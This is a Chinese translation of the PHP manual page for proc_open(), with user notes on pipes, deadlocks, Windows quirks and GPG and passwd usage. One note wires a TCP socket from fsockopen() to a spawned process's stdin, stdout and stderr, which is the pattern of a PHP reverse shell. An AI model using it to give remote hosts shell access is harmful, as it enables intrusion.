proc_open

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_open执行命令并打开用于输入/输出的文件指针

描述

proc_open(
    数组|字符串 $command,
    数组 $descriptor_spec,
    数组 &$pipes,
    ?字符串 $cwd = null,
    ?数组 $env_vars = null,
    ?数组 $options = null
): 资源|false

proc_open() 类似于 popen(),但提供了对程序执行的更大程度的控制。

参数

command

要作为 字符串 执行的命令行。特殊字符必须正确转义,并应用适当的引号。

注意: Windows 上,除非 bypass_shelloptions 中设置为 true,否则 command 将以 未引用 字符串的形式传递给 cmd.exe(实际上,%ComSpec%) 带有 /c 标志(即与传递给 proc_open() 完全相同)。这会导致 cmd.execommand 中删除封闭的引号(有关详细信息,请参阅 cmd.exe 文档),从而导致意外行为,甚至可能导致危险行为,因为 cmd.exe 错误消息可能包含传递的 command 的(部分)(参见下面的示例)。

从 PHP 7.4.0 开始,command 可以作为命令参数的 数组 传递。在这种情况下,进程将直接打开(无需通过 shell),PHP 将负责任何必要的参数转义。

注意:

在 Windows 上,数组 元素的参数转义假设执行的命令的命令行解析与 VC 运行时执行的命令行参数解析兼容。

descriptor_spec

一个索引数组,其中键表示描述符编号,值表示 PHP 将如何将该描述符传递给子进程。0 是 stdin,1 是 stdout,而 2 是 stderr。

每个元素可以是

  • 描述传递给进程的管道的数组。第一个元素是描述符类型,第二个元素是给定类型的选项。有效类型是 pipe(第二个元素是 r 以将管道的读端传递给进程,或者 w 以将管道的写端传递给进程)和 file(第二个元素是文件名)。请注意,除 w 之外的任何内容都将被视为 r
  • 代表真实文件描述符(例如,打开的文件,套接字,STDIN)的流资源。

文件描述符编号不限于 0、1 和 2 - 你可以指定任何有效的文件描述符编号,它将被传递给子进程。这允许你的脚本与作为“协进程”运行的其他脚本进行交互。特别是,这对于以更安全的方式将密码传递给 PGP、GPG 和 openssl 等程序非常有用。它对于从这些程序提供的辅助文件描述符上读取状态信息也很有用。

pipes

将被设置为一个索引数组,其中包含对应于 PHP 的任何创建管道的末端的端点的文件指针。

cwd

命令的初始工作目录。这必须是 绝对 目录路径,或者如果你想使用默认值(当前 PHP 进程的工作目录),则为 null

env_vars

包含要运行的命令的环境变量的数组,或者如果要使用与当前 PHP 进程相同的环境,则为 null

options

允许你指定其他选项。目前支持的选项包括

  • suppress_errors(仅限 Windows):当设置为 true 时,会抑制此函数生成的错误。
  • bypass_shell(仅限 Windows):当设置为 true 时,会绕过 cmd.exe shell。
  • blocking_pipes(仅限 Windows):当设置为 true 时,会强制阻塞管道。
  • create_process_group(仅限 Windows):当设置为 true 时,允许子进程处理 CTRL 事件。
  • create_new_console(仅限 Windows):新进程拥有一个新的控制台,而不是继承其父进程的控制台。

返回值

返回代表进程的资源,当你完成使用它时,应该使用 proc_close() 释放它。失败时返回 false

变更日志

版本 描述
7.4.4 options 参数添加了 create_new_console 选项。
7.4.0 proc_open() 现在也接受 command数组
7.4.0 options 参数添加了 create_process_group 选项。

示例

示例 #1 一个 proc_open() 示例

<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin 是一个子进程将从中读取的管道
1 => array("pipe", "w"), // stdout 是一个子进程将写入的管道
2 => array("file", "/tmp/error-output.txt", "a") // stderr 是一个写入的文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (
is_resource($process)) {
// $pipes 现在看起来像这样:
// 0 => 可写入的句柄连接到子进程 stdin
// 1 => 可读取的句柄连接到子进程 stdout
// 任何错误输出都将附加到 /tmp/error-output.txt

fwrite($pipes[0], '<?php print_r($_ENV); ?>');
fclose($pipes[0]);

echo
stream_get_contents($pipes[1]);
fclose($pipes[1]);

// 重要的是你在调用 proc_close 之前关闭任何管道
// 以避免死锁
$return_value = proc_close($process);

echo
"命令返回 $return_value\n";
}
?>

上面的例子将输出类似于

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
command returned 0

示例 #2 proc_open() 在 Windows 上的怪癖

虽然人们可能会预期以下程序在文件中搜索 filename.txt 的文本 search 并打印结果,但它的行为却截然不同。

<?php
$descriptorspec
= [STDIN, STDOUT, STDOUT];
$cmd = '"findstr" "search" "filename.txt"';
$proc = proc_open($cmd, $descriptorspec, $pipes);
proc_close($proc);
?>

上面的例子将输出

'findstr" "search" "filename.txt' is not recognized as an internal or external command,
operable program or batch file.

为了解决这种行为,通常在 command 中添加额外的引号就足够了

$cmd = '""findstr" "search" "filename.txt""';

注意

注意:

Windows 兼容性:超过 2(stderr)的描述符被作为可继承的句柄提供给子进程,但由于 Windows 架构不将文件描述符号与底层句柄关联,因此子进程(尚未)有方法访问这些句柄。Stdin、stdout 和 stderr 按预期工作。

注意:

如果你只需要一个单向(单向)进程管道,请使用 popen(),因为它更容易使用。

另请参阅

添加备注

用户贡献的备注 39 备注

10
Bobby Dylan
1 年前
我不确定“blocking_pipes(仅限 Windows)”选项是在何时添加到 PHP 的,但使用此函数的用户应该充分了解在 Windows 上的 PHP 中没有非阻塞管道,并且“blocking_pipes”选项的运行方式与你可能期望的并不相同。将“blocking_pipes” => false 传递并不意味着非阻塞管道。

PHP 在 Windows 上使用匿名管道来启动进程。Windows CreatePipe() 函数不直接支持重叠 I/O(也称为异步),这通常是 Windows 上 async/非阻塞 I/O 的发生方式。SetNamedPipeHandleState() 具有名为 PIPE_NOWAIT 的选项,但微软早已不鼓励使用该选项。PHP 的源代码树中没有任何地方使用 PIPE_NOWAIT。PHP FastCGI 启动代码是 PHP 源代码中唯一使用重叠 I/O 的地方(也是唯一调用 SetNamedPipeHandleState() 并使用 PIPE_WAIT 的地方)。此外,Windows 上的 stream_set_blocking() 仅针对套接字实现 - 而不是文件句柄或管道。也就是说,在 proc_open() 返回的管道句柄上调用 stream_set_blocking() 实际上在 Windows 上不会执行任何操作。我们可以从这些事实中得出结论,PHP 在 Windows 上没有针对管道的非阻塞实现,因此在使用 proc_open() 时将阻塞/死锁。

PHP 在 Windows 上的管道读取实现通过轮询管道来使用 PeekNamedPipe(),直到有数据可供读取或直到 ~32 秒(3200000 * 10 微秒睡眠)过去,在这两种情况之前放弃,以先发生者为准。“blocking_pipes”选项在设置为 true 时会将该行为更改为无限期等待(即始终阻塞),直到管道上有数据。最好将“blocking_pipes”选项视为“可能 32 秒的忙等待”超时(false - 默认值)与无超时(true)之间的区别。在这两种情况下,此选项的布尔值实际上都会阻塞...只是在设置为 true 时会阻塞更长时间。

可以将未记录的字符串“socket”描述符类型传递给 proc_open(),PHP 将启动一个临时 TCP/IP 服务器,为管道生成一个预连接的 TCP/IP 套接字对,并将一个套接字传递给目标进程,并将另一个套接字作为相关管道返回。但是,在 Windows 上为 stdout/stderr 传递套接字句柄会导致输出的最后一部分偶尔丢失,并且不会传递到接收端。这实际上是 Windows 本身的一个已知错误,微软曾经的回复是 CreateProcess() 仅正式支持匿名管道和文件句柄作为标准句柄(即不是命名管道或套接字句柄),并且其他句柄类型将产生“未定义的行为”。对于套接字,它会“有时工作正常,有时会截断输出。”“socket”描述符类型还会引入一个竞争条件,这可能是 proc_open() 中的一个安全漏洞,其中另一个进程可以在原始进程连接到套接字以创建套接字对之前成功连接到服务器端。这允许恶意应用程序向进程发送格式错误的数据,这可能会触发任何事情,从提权到 SQL 注入,具体取决于应用程序如何使用 stdout/stderr 上的信息。

要在 Windows 上的 PHP 中获得对标准进程句柄(即 stdin、stdout、stderr)的真正非阻塞 I/O,而不会出现奇怪的错误,目前唯一可行的方法是使用中间进程,该进程使用 TCP/IP 阻塞套接字通过多线程将数据路由到阻塞标准句柄(即启动三个线程将数据在 TCP/IP 套接字和标准句柄之间路由,并使用临时密钥来防止在建立 TCP/IP 套接字句柄时出现竞争条件)。对于那些数不清的人来说:那是额外的一个进程,最多四个额外线程,以及最多四个 TCP/IP 套接字,只是为了在 Windows 上获得功能正确的 proc_open() 的非阻塞 I/O。如果你对这个想法/概念感到恶心,嗯,人们实际上就是这么做的!随意再吐几口。
27
php at keith tyler dot com
14 年前
有趣的是,似乎你实际上必须存储返回值才能使你的流存在。你不能把它丢弃。

换句话说,这有效

<?php
$proc
=proc_open("echo foo",
array(
array(
"pipe","r"),
array(
"pipe","w"),
array(
"pipe","w")
),
$pipes);
print
stream_get_contents($pipes[1]);
?>

打印
foo

但这无效

<?php
proc_open
("echo foo",
array(
array(
"pipe","r"),
array(
"pipe","w"),
array(
"pipe","w")
),
$pipes);
print
stream_get_contents($pipes[1]);
?>

输出
警告:stream_get_contents(): <n> 在命令行代码中的第 1 行不是有效的流资源

唯一的区别是,在第二种情况下,我们没有将 proc_open 的输出保存到变量中。
26
devel at romanr dot info
12 年前
调用按预期工作。没有错误。
但是。在大多数情况下,你将无法以阻塞模式使用管道。
当你的输出管道(进程的输入,$pipes[0])处于阻塞状态时,会存在你与进程同时在输出上阻塞的情况。
当你的输入管道(进程的输出,$pipes[1])处于阻塞状态时,会存在你与进程同时在自身输入上阻塞的情况。
因此你应该将管道切换到非阻塞模式 (stream_set_blocking)。
然后,有一种情况,当你无法读取任何内容 (fread($pipes[1],...) == "") 或写入 (fwrite($pipes[0],...) == 0) 时。在这种情况下,你最好检查进程是否还活着 (proc_get_status),如果它还活着,就等待一段时间 (stream_select)。这种情况确实是异步的,进程可能正在忙于工作,处理你的数据。
有效地使用 shell 使得无法知道命令是否存在 - proc_open 始终返回有效的资源。你甚至可以向其中写入一些数据(实际上是写入 shell)。但最终它会终止,所以要定期检查进程状态。
我建议不要使用 mkfifo-管道,因为文件系统 fifo-管道 (mkfifo) 会阻塞 open/fopen 调用 (!!!) 直到有人打开另一端(与 Unix 相关的行为)。如果管道不是由 shell 打开,并且命令崩溃或不存在,你将永远被阻塞。
3
vanyazin at gmail dot com
9 年前
如果你想将 proc_open() 函数与套接字流一起使用,你可以使用 fsockopen() 函数打开连接,然后将句柄放入 io 描述符数组中

<?php

$fh
= fsockopen($address, $port);
$descriptors = [
$fh, // stdin
$fh, // stdout
$fh, // stderr
];
$proc = proc_open($cmd, $descriptors, $pipes);
12
aaronw at catalyst dot net dot nz
8 年前
如果你有一个 CLI 脚本,它通过 STDIN 提示你输入密码,并且你需要从 PHP 运行它,proc_open() 可以帮你实现。它比 "echo $password | command.sh" 更好,因为这样你的密码将对任何运行 "ps" 的用户在进程列表中可见。或者,你可以将密码打印到一个文件并使用 cat:"cat passwordfile.txt | command.sh",但这样你就要以安全的方式管理该文件。

如果你的命令总是按特定顺序提示你输入响应,那么 proc_open() 就非常容易使用,你不必担心阻塞和非阻塞流。例如,运行 "passwd" 命令

<?php
$descriptorspec
= array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open(
'/usr/bin/passwd ' . escapeshellarg($username),
$descriptorspec,
$pipes
);

// 它将提示输入现有密码,然后两次输入新密码。
// 你不需要对这些进行 escapeshellarg(),但你应该对它们进行白名单
// 以防止出现控制字符,或许可以使用 ctype_print()
fwrite($pipes[0], "$oldpassword\n$newpassword\n$newpassword\n");

// 如果需要查看,请读取响应
$stdout = fread($pipes[1], 1024);
$stderr = fread($pipes[2], 1024);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_status = proc_close($process);

// 它在密码更改成功时返回 0
$success = ($exit_status === 0);
?>
14
simeonl at dbc dot co dot nz
15 年前
请注意,当你调用外部脚本并从 STDOUT 和 STDERR 检索大量数据时,你可能需要交替地从两者中检索数据,以非阻塞模式(如果未检索到数据,则适当暂停),这样你的 PHP 脚本就不会锁定。如果你的 PHP 脚本在等待一个管道的活动,而外部脚本正在等待你清空另一个管道,就会发生这种情况,例如

<?php
$read_output
= $read_error = false;
$buffer_len = $prev_buffer_len = 0;
$ms = 10;
$output = '';
$read_output = true;
$error = '';
$read_error = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// 双重读取 STDOUT 和 STDERR 会阻止一个完整的管道阻塞另一个管道,因为外部脚本正在等待
while ($read_error != false or $read_output != false)
{
if (
$read_output != false)
{
if(
feof($pipes[1]))
{
fclose($pipes[1]);
$read_output = false;
}
else
{
$str = fgets($pipes[1], 1024);
$len = strlen($str);
if (
$len)
{
$output .= $str;
$buffer_len += $len;
}
}
}

if (
$read_error != false)
{
if(
feof($pipes[2]))
{
fclose($pipes[2]);
$read_error = false;
}
else
{
$str = fgets($pipes[2], 1024);
$len = strlen($str);
if (
$len)
{
$error .= $str;
$buffer_len += $len;
}
}
}

if (
$buffer_len > $prev_buffer_len)
{
$prev_buffer_len = $buffer_len;
$ms = 10;
}
else
{
usleep($ms * 1000); // 睡眠 $ms 毫秒
if ($ms < 160)
{
$ms = $ms * 2;
}
}
}

return
proc_close($process);
?>
10
mattis at xait dot no
13 年前
如果你像我一样,厌倦了 proc_open 处理流和退出代码的错误方式;这个例子展示了 pcntl、posix 和一些简单的输出重定向的强大功能

<?php
$outpipe
= '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//父进程
if($pid) {
$in = fopen($inpipe, 'w');
fwrite($in, "A message for the inpipe reader\n");
fclose($in);

$out = fopen($outpipe, 'r');
while(!
feof($out)) {
echo
"From out pipe: " . fgets($out) . PHP_EOL;
}
fclose($out);

pcntl_waitpid($pid, $status);

if(
pcntl_wifexited($status)) {
echo
"Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
}

unlink($outpipe);
unlink($inpipe);
}

//子进程
else {
//父进程
if($pid = pcntl_fork()) {
pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
}

//子进程
else {
pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
}
}
?>

输出

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12
14
chris AT w3style DOT co.uk
16 年前
我花了很长时间(以及三个连续的项目)才弄清楚这一点。因为 popen() 和 proc_open() 即使在命令失败时也会返回有效的进程,所以如果您正在打开一个非交互式进程(如“sendmail -t”),很难确定它何时真正失败了。

我之前猜测在启动进程后立即从 STDERR 读取会起作用,而且确实起作用了……但是当命令成功时,PHP 会一直挂起,因为 STDERR 为空,它正在等待数据写入到其中。

解决方法是在调用 proc_open() 后立即使用一个简单的 stream_set_blocking($pipes[2], 0)。

<?php

$this
->_proc = proc_open($command, $descriptorSpec, $pipes);
stream_set_blocking($pipes[2], 0);
if (
$err = stream_get_contents($pipes[2]))
{
throw new
Swift_Transport_TransportException(
'Process could not be started [' . $err . ']'
);
}

?>

如果进程成功打开,$pipes[2] 将为空,但如果它失败了,bash/sh 错误将存在其中。

最后,我可以丢弃我所有的“解决方法”错误检查。

我意识到这个解决方案很明显,我不确定我花了 18 个月才想出来,但希望这对其他人有所帮助。

注意:确保您的 descriptorSpec 具有 ( 2 => array('pipe', 'w')) 以便此方法正常工作。
5
ralf at dreesen[*NO*SPAM*] dot net
20 年前
以下描述的行为可能取决于 php 运行的系统。我们的平台是“带有 Debian 3.0 linux 的 Intel”。

如果您将大量数据(大约 >> 10k)传递给您运行的应用程序,并且该应用程序例如直接将它们回显到 stdout(不缓冲输入),您将遇到死锁。这是因为在 php 和您运行的应用程序之间存在大小有限的缓冲区(称为管道)。应用程序将数据放入 stdout 缓冲区,直到它被填满,然后它会阻塞并等待 php 从 stdout 缓冲区读取。同时,Php 填充了 stdin 缓冲区并等待应用程序从其中读取。这就是死锁。

解决此问题的一个方法可能是将 stdout 流设置为非阻塞(stream_set_blocking)并交替写入 stdin 和从 stdout 读取。

想象一下以下示例

<?
/* 假设 strlen($in) 大约为 30k
*/

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

fwrite($pipes[0], $in);
/* fwrite 写入 stdin,'cat' 会立即将数据从 stdin
* 写入 stdout 并阻塞,当 stdout 缓冲区已满时。然后它将不会
* 继续从 stdin 读取,php 将在此处阻塞。
*/

fclose($pipes[0]);

while (!feof($pipes[1])) {
$out .= fgets($pipes[1], 1024);
}
fclose($pipes[1]);

$return_value = proc_close($process);
}
?>
7
Kyle Gibson
19 年前
proc_open 硬编码为使用“/bin/sh”。因此,如果您在 chrooted 环境中工作,您需要确保 /bin/sh 存在,暂时。
3
joachimb at gmail dot com
16 年前
我对管道的方向感到困惑。本文档中的大多数示例将管道 #2 打开为“r”,因为它们想要从 stderr 读取。对我来说这听起来很合乎逻辑,这也是我尝试做的事情。但这不起作用。当我将其更改为 w 时,就像
<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);

$process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
while (!
feof($pipes[1])) {
foreach(
$pipes as $key =>$pipe) {
$line = fread($pipe, 128);
if(
$line) {
print(
$line);
$this->log($line);
}
}
sleep(0.5);
}
...
?>

一切正常。
6
michael dot gross at NOSPAM dot flexlogic dot at
11 年前
请注意,如果您打算生成多个进程,您必须将所有结果保存在不同的变量中(例如在数组中)。例如,如果您多次调用 $proc = proc_open.....,脚本将在第二次调用后一直阻塞,直到子进程退出(proc_close 被隐式调用)。
4
bilge at boontex dot com
11 年前
$cmd 实际上可以是多个命令,通过换行符分隔每个命令。但是,由于这一点,即使使用“\\\n”语法,也不可能将一个非常长的命令拆分成多行。
6
mcuadros at gmail dot com
11 年前
这是一个使用 TTY 作为输出运行命令的示例,就像 crontab -e 或 git commit 那样。

<?php

$descriptors
= array(
array(
'file', '/dev/tty', 'r'),
array(
'file', '/dev/tty', 'w'),
array(
'file', '/dev/tty', 'w')
);

$process = proc_open('vim', $descriptors, $pipes);
4
php dot net_manual at reimwerker dot de
18 年前
如果您打算允许来自用户输入的数据传递给此函数,那么您应该记住以下警告,这些警告也适用于 exec() 和 system()

https://php.net/manual/en/function.exec.php
https://php.net/manual/en/function.system.php

警告

如果您打算允许来自用户输入的数据传递给此函数,那么您应该使用 escapeshellarg() 或 escapeshellcmd() 来确保用户无法欺骗系统执行任意命令。
5
John Wehin
16 年前
STDIN STDOUT 示例
test.php

<?php
$descriptorspec
= array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //运行 test_gen.php
echo ("启动进程:\n");
if (
is_resource($process))
{
fwrite($pipes[0], "start\n"); // 发送开始指令
echo ("\n\n开始 ....".fgets($pipes[1],4096)); //获取答案
fwrite($pipes[0], "get\n"); // 发送获取指令
echo ("获取: ".fgets($pipes[1],4096)); //获取答案
fwrite($pipes[0], "stop\n"); //发送停止指令
echo ("\n\n停止 ....".fgets($pipes[1],4096)); //获取答案

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process); //停止 test_gen.php
echo ("返回值:" .$return_value."\n");
}
?>

test_gen.php
<?php
$keys
=0;
function
play_stop()
{
global
$keys;
$stdin_stat_arr=fstat(STDIN);
if(
$stdin_stat_arr[size]!=0)
{
$val_in=fread(STDIN,4096);
switch(
$val_in)
{
case
"start\n": echo "已启动\n";
return
false;
break;
case
"stop\n": echo "已停止\n";
$keys=0;
return
false;
break;
case
"pause\n": echo "已暂停\n";
return
false;
break;
case
"get\n": echo ($keys."\n");
return
true;
break;
default: echo(
"传递了错误的参数: ".$val_in."\n");
return
true;
exit();
}
}else{return
true;}
}
while(
true)
{
while(
play_stop()){usleep(1000);}
while(
play_stop()){$keys++;usleep(10);}
}
?>
5
daniela at itconnect dot net dot au
21 年前
只是一个小的提示,以防不清楚,可以像在 fopen 中那样对待文件名,这样就可以像下面这样通过 php 的标准输入传递:
$descs = array (
0 => array ("file", "php://stdin", "r"),
1 => array ("pipe", "w"),
2 => array ("pipe", "w")
);
$proc = proc_open ("myprogram", $descs, $fp);
2
andrew dot budd at adsciengineering dot com
18 年前
pty 选项实际上在源代码中被 #if 0 && 条件禁用了,我不知道为什么禁用。我移除了 0 && 并重新编译,之后 pty 选项就可以完美地工作了。只是一个提示。
8
Luceo
14 年前
似乎在 Windows 下,当 STDERR 被填充时,在某些情况下,stream_get_contents() 对 STDOUT 会无限期地阻塞。

诀窍是将 STDERR 以追加模式 ("a") 打开,这样也可以工作。

<?php
$descriptorspec
= array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'a') // stderr
);
?>
3
exel at example dot com
10 年前
管道通信可能会让人崩溃,我想分享一些东西来避免这种情况。
为了正确控制通过打开的子进程的“in”和“out”管道进行的通信,请记住将它们都设置为非阻塞模式,并且尤其注意 fwrite 可能返回 (int)0,但这并不意味着错误,只是进程可能在那一刻没有接受输入。

因此,让我们考虑一个使用 funzip 作为子进程来解码 gz 编码文件的示例:(这不是最终版本,只是为了展示重要的事情)

<?php
// 创建 gz 文件
$fd=fopen("/tmp/testPipe", "w");
for(
$i=0;$i<100000;$i++)
fwrite($fd, md5($i)."\n");
fclose($fd);

if(
is_file("/tmp/testPipe.gz"))
unlink("/tmp/testPipe.gz");
system("gzip /tmp/testPipe");

// 打开进程
$pipesDescr=array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/testPipe.log", "a"),
);

$process=proc_open("zcat", $pipesDescr, $pipes);
if(!
is_resource($process)) throw new Exception("popen error");

// 将两个管道设置为非阻塞
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);

////////////////////////////////////////////////////////////////////

$text="";
$fd=fopen("/tmp/testPipe.gz", "r");
while(!
feof($fd))
{
$str=fread($fd, 16384*4);
$try=3;
while(
$str)
{
$len=fwrite($pipes[0], $str);
while(
$s=fread($pipes[1], 16384*4))
$text.=$s;

if(!
$len)
{
// 如果你删除了这个暂停重试,进程可能会失败
usleep(200000);
$try--;
if(!
$try)
throw new
Exception("fwrite error");
}
$str=substr($str, $len);
}
echo
strlen($text)."\n";
}
fclose($fd);
fclose($pipes[0]);

// 读取输出流的剩余部分
stream_set_blocking($pipes[1], 1);
while(!
feof($pipes[1]))
{
$s=fread($pipes[1], 16384);
$text.=$s;
}

echo
strlen($text)." / 3 300 000\n";
?>
1
weirdall at hotmail dot com
7 年前
此脚本将使用 `tail -F` 尾随文件,以跟踪被轮换的脚本。

<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin 是子进程将从中读取的管道
1 => array("pipe", "w"), // stdout 是子进程将写入的管道
2 => array("pipe", "w") // stderr 是子进程将写入的管道
);

$filename = '/var/log/nginx/nginx-access.log';
if( !
file_exists( $filename ) ) {
file_put_contents($filename, '');
}
$process = proc_open('tail -F /var/log/nginx/stats.bluebillywig.com-access.log', $descriptorspec, $pipes);

if (
is_resource($process)) {
// $pipes 现在看起来像这样:
// 0 => 可写入的句柄,连接到子进程的 stdin
// 1 => 可读取的句柄,连接到子进程的 stdout
// 任何错误输出将被发送到 $pipes[2]

// 关闭 $pipes[0] 因为我们不再需要它
fclose( $pipes[0] );

// stderr 不应该阻塞,因为它会阻塞 tail 进程
stream_set_blocking($pipes[2], 0);
$count=0;
$stream = $pipes[1];

while ( (
$buf = fgets($stream,4096)) ) {
print_r($buf);
// 读取 stderr 查看是否有任何错误
$stderr = fread($pipes[2], 4096);
if( !empty(
$stderr ) ) {
print(
'log: ' . $stderr );
}
}
fclose($pipes[1]);
fclose($pipes[2]);

// 在调用 proc_close 之前关闭所有管道非常重要
// 为了避免死锁
proc_close($process);
}
?>
1
stoller at leonex dot de
8 年前
如果你在 Windows 上工作并尝试 `proc_open` 一个路径中包含空格的可执行文件,你会遇到麻烦。

但有一个解决方法效果很好。我在以下位置找到了它:http://stackoverflow.com/a/4410389/1119601

例如,如果你想执行 "C:\Program Files\nodejs\node.exe",你会收到命令找不到的错误。
试试这个
<?php
$cmd
= 'C:\\Program Files\\nodejs\\node.exe';
if (
strtolower(substr(PHP_OS,0,3)) === 'win') {
$cmd = sprintf('cd %s && %s', escapeshellarg(dirname($cmd)), basename($cmd));
}
?>
3
匿名
16 年前
我需要为一个进程模拟一个 tty(它不会写入 stdout 也不会从 stdin 读取),所以找到了这个

<?php
$descriptorspec
= array(0 => array('pty'),
1 => array('pty'),
2 => array('pty'));
?>

然后管道是双向的
2
hablutzel1 at gmail dot com
9 年前
请注意,在 Windows 中使用 "bypass_shell" 允许你传递大约 ~32767 个字符的命令。如果你不使用它,你的限制只有大约 ~8191 个字符。

参见 https://support.microsoft.com/en-us/kb/830473.
2
stevebaldwin21 at googlemail dot com
8 年前
对于那些发现使用 $cwd 和 $env 选项会导致 proc_open 失败(Windows)的用户,您需要传递所有其他服务器环境变量;

$descriptorSpec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
);

proc_open(
"C:\\Windows\\System32\\PING.exe localhost,
$descriptorSpec ,
$pipes,
"C:\\Windows\\System32",
array($_SERVER)
);
2
Matou Havlena - matous at havlena dot net
14 年前
我为我的应用程序创建了一个智能对象进程管理器。它可以控制同时运行的进程的最大数量。

Proccesmanager 类
<?php
class Processmanager {
public
$executable = "C:\\www\\_PHP5_2_10\\php";
public
$root = "C:\\www\\parallelprocesses\\";
public
$scripts = array();
public
$processesRunning = 0;
public
$processes = 3;
public
$running = array();
public
$sleep_time = 2;

function
addScript($script, $max_execution_time = 300) {
$this->scripts[] = array("script_name" => $script,
"max_execution_time" => $max_execution_time);
}

function
exec() {
$i = 0;
for(;;) {
// 填充插槽
while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
echo
"<span style='color: orange;'>添加脚本: ".$this->scripts[$i]["script_name"]."</span><br />";
ob_flush();
flush();
$this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
$this->processesRunning++;
$i++;
}

// 检查是否完成
if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
break;
}
// 睡眠,此持续时间取决于脚本执行时间,执行时间越长,睡眠时间越长
sleep($this->sleep_time);

// 检查已完成的
foreach ($this->running as $key => $val) {
if (!
$val->isRunning() or $val->isOverExecuted()) {
if (!
$val->isRunning()) echo "<span style='color: green;'>完成: ".$val->script."</span><br />";
else echo
"<span style='color: red;'>已终止: ".$val->script."</span><br />";
proc_close($val->resource);
unset(
$this->running[$key]);
$this->processesRunning--;
ob_flush();
flush();
}
}
}
}
}
?>

Process 类
<?php
class Process {
public
$resource;
public
$pipes;
public
$script;
public
$max_execution_time;
public
$start_time;

function
__construct(&$executable, &$root, $script, $max_execution_time) {
$this->script = $script;
$this->max_execution_time = $max_execution_time;
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$this->resource = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
$this->start_time = mktime();
}

// 仍在运行?
function isRunning() {
$status = proc_get_status($this->resource);
return
$status["running"];
}

// 长时间执行,进程将被终止
function isOverExecuted() {
if (
$this->start_time+$this->max_execution_time<mktime()) return true;
else return
false;
}

}
?>

使用示例
<?php
$manager
= new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

可能的输出

添加脚本: script1.php
添加脚本: script2.php
添加脚本: script3.php
完成: script2.php
添加脚本: script4.php
已终止: script1.php
完成: script3.php
完成: script4.php
添加脚本: script5.php
添加脚本: script6.php
完成: script5.php
完成: script6.php
1
Kevin Barr
18 年前
我发现,通过禁用流阻塞,有时我会尝试在外部应用程序响应之前读取返回行。因此,我保留了阻塞,并使用这个简单的函数为 fgets 函数添加了一个超时

// fgetsPending( $in,$tv_sec ) - 从流 $in 获取待处理的行数据,最多等待 $tv_sec 秒
function fgetsPending(&$in,$tv_sec=10) {
if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
else return FALSE;
}
1
radone at gmail dot com
16 年前
为了完成下面使用 proc_open 用 GPG 加密字符串的示例,这里有一个解密函数

<?php
function gpg_decrypt($string, $secret) {
$homedir = ''; // gpg 密钥环的路径
$tmp_file = '/tmp/gpg_tmp.asc' ; // 用于写入的临时文件
file_put_contents($tmp_file, $string);

$text = '';
$error = '';
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr ??
);
$command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';
$process = proc_open($command, $descriptorspec, $pipes);
if (
is_resource($process)) {
fwrite($pipes[0], $secret);
fclose($pipes[0]);
while(
$s= fgets($pipes[1], 1024)) {
// 从管道读取数据
$text .= $s;
}
fclose($pipes[1]);
// 可选:
while($s= fgets($pipes[2], 1024)) {
$error .= $s . "\n";
}
fclose($pipes[2]);
}

file_put_contents($tmp_file, '');

if (
preg_match('/decryption failed/i', $error)) {
return
false;
} else {
return
$text;
}
}
?>
1
MagicalTux at FF.ST
20 年前
请注意,如果您需要与用户 *和* 打开的应用程序进行“交互”,您可以使用 `stream_select` 来查看管道另一端是否有数据等待。

流函数可以应用于以下管道:
- 来自 `popen` 和 `proc_open` 的管道
- 来自 `fopen('php://stdin')`(或 stdout)的管道
- 套接字(unix 或 tcp/udp)
- 可能还有其他很多,但这里列出了最重要的

